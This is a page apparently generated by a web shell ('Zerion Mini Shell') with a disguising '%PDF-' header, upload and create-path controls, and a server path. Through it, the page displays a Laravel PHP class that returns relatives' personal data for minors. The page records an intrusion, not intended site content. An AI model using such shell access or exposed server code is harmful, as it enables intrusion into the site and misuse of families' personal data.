%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Http/Resources/
Upload File :
Create Path :
Current File : //var/www/html/camillo/camillo-api-master/app/Http/Resources/FamilyIndividualCollection.php

<?php

namespace App\Http\Resources;

use App\Models\Minor;
use Illuminate\Http\Resources\Json\ResourceCollection;

class FamilyIndividualCollection extends ResourceCollection
{

    private $minor;

    /**
     * Create a new resource instance.
     *
     * @param  mixed $resource
     * @param Minor $minor
     */
    public function __construct($resource, Minor $minor)
    {
        parent::__construct($resource);
        $this->resource = $resource;

        $this->minor = $minor;
    }
    /**
     * Transform the resource collection into an array.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    public function toArray($request)
    {
        return [
            'data' => $this->collection->map(function($individual){
                return [
                    "id"            => $individual->id,
                    "user_id"       => $individual->user_id,
                    "name"          => $individual->name,
                    "surname"       => $individual->surname,
                    "birth_date"    => $individual->birth_date,
                    "fiscal_code"   => $individual->fiscal_code,
                    "phone"         => $individual->phone,
                    "mobile"        => $individual->mobile,
                    "email"         => $individual->email,
                    "language"      => $individual->language,
                    "show_contacts" => $individual->show_contacts,
                    "created_at"    => $individual->created_at,
                    "updated_at"    => $individual->updated_at,
                    "relative"      => $individual->minors()->find($this->minor->id)->pivot->relative,
                    "is_admin"      => $individual->minors()->find($this->minor->id)->pivot->is_admin
                ];
            })
        ];
    }
}

Zerion Mini Shell 1.0